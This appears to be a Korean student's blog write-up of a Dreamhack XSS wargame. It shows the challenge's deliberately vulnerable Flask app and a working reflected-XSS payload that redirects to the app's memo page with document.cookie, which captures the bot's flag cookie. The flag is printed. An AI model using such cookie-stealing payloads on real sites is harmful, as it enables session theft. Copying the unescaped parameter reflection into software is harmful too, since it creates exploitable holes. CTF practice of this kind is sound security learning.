여러 기능과 입력받은 URL을 확인하는 봇이 구현된 서비스입니다.
XSS 취약점을 이용해 플래그를 획득하세요. 플래그는 flag.txt, FLAG 변수에 있습니다.
플래그 형식은 DH{...} 입니다.
파일을 다운로드 받아줍니다~

파이썬 코드와 static폴더, templates 폴더가 있습니당
그리고 vm을 부팅해서 웹사이트를 열어주니까

이렇게 3가지가 보인다.
먼저 vuln(xss) 페이지에 들어가면 1이라고 alert대화상자가 뜬다.

그 다음 memo창에 들어가보면 hello라고 뜬다. 다음에 또 들어가면 밑에 hello가 계속 생기는 방식인 것 같다.

flag창에 들어가면 URL을 입력할 수 있는 듯 보인다.

#!/usr/bin/python3
from flask import Flask, request, render_template
from selenium import webdriver
from selenium.webdriver.chrome.service import Service
import urllib
import os
app = Flask(__name__)
app.secret_key = os.urandom(32)
try:
FLAG = open("./flag.txt", "r").read()
except:
FLAG = "[**FLAG**]"
def read_url(url, cookie={"name": "name", "value": "value"}):
cookie.update({"domain": "127.0.0.1"})
driver = None
try:
service = Service(executable_path="/usr/local/bin/chromedriver")
options = webdriver.ChromeOptions()
options.binary_location = "/usr/bin/google-chrome"
for _ in [
"headless",
"window-size=1920x1080",
"disable-gpu",
"no-sandbox",
"disable-dev-shm-usage",
]:
options.add_argument(_)
driver = webdriver.Chrome(service=service, options=options)
driver.implicitly_wait(3)
driver.set_page_load_timeout(3)
driver.get("http://127.0.0.1:8000/")
driver.add_cookie(cookie)
driver.get(url)
except Exception as e:
# return str(e)
return False
finally:
if driver is not None:
driver.quit()
return True
def check_xss(param, cookie={"name": "name", "value": "value"}):
url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}"
return read_url(url, cookie)
@app.route("/")
def index():
return render_template("index.html")
@app.route("/vuln")
def vuln():
param = request.args.get("param", "")
return param
@app.route("/flag", methods=["GET", "POST"])
def flag():
if request.method == "GET":
return render_template("flag.html")
elif request.method == "POST":
param = request.form.get("param")
if not check_xss(param, {"name": "flag", "value": FLAG.strip()}):
return '<script>alert("wrong??");history.go(-1);</script>'
return '<script>alert("good");history.go(-1);</script>'
memo_text = ""
@app.route("/memo")
def memo():
global memo_text
text = request.args.get("memo", "")
memo_text += text + "\n"
return render_template("memo.html", memo=memo_text)
app.run(host="0.0.0.0", port=8000)
계속 시도해봣는데 진짜 너무 어려워서...writeup을 봐주엇습니다........ㅠ
(1) vuln(xss) page: param을 인자로 가져와서 화면에 표시함/ alert로 띄움
(2) flag page: 메소드를 get이나 post로 가져오는데,
get인 경우 flag.html으로 이동하고, post인 경우 check_xss를 진행함
--> check_xss를 보면 alert대화상자가 보이는 것이 vuln()페이지로 이동하는 것이라고 함!!!
(3) memo page: memo의 인자를 가져와서 memo_text를 출력함
이게 제일 중요한 부분인데 놓쳤던 부분이 있었다....
check_xss를 하면 name: flag이고, value는 flag.strip(), 그러니까 cookie값이 생성되는 것임
flag page에 내가 url을 입력할 수 있는데, memo창에 cookie값이 뜰 수 있도록 memo창으로 이동하게 시켜주면 됨(use param)
http://127.0.0.1:8000/vuln?param= <script>memo?memo=hello + document.cookie</script>
이건 안되네...
찾아보니까 script태그 안에 다른 location이나 href 태그를 같이 사용해야 한다고 함
http://127.0.0.1:8000/vuln?param=<script>location.href='http://127.0.0.1:8000/memo?memo=' %2b document.cookie;</script>

써주고 url창에 /memo를 쳐서 들어가보니

DH{2c01577e9542ec24d68ba0ffb846508e}
'SWUFORCE > 워게임' 카테고리의 다른 글
| XSS 공격과 우회방법 (0) | 2026.05.19 |
|---|---|
| 워게임 - Steg-Pack (0) | 2026.05.12 |
| Python - Flask 프레임워크/ @app.route() (1) | 2026.05.12 |
| 드림핵 워게임 - session-basic (0) | 2026.05.11 |
| Window Search + edb파일 (0) | 2026.05.05 |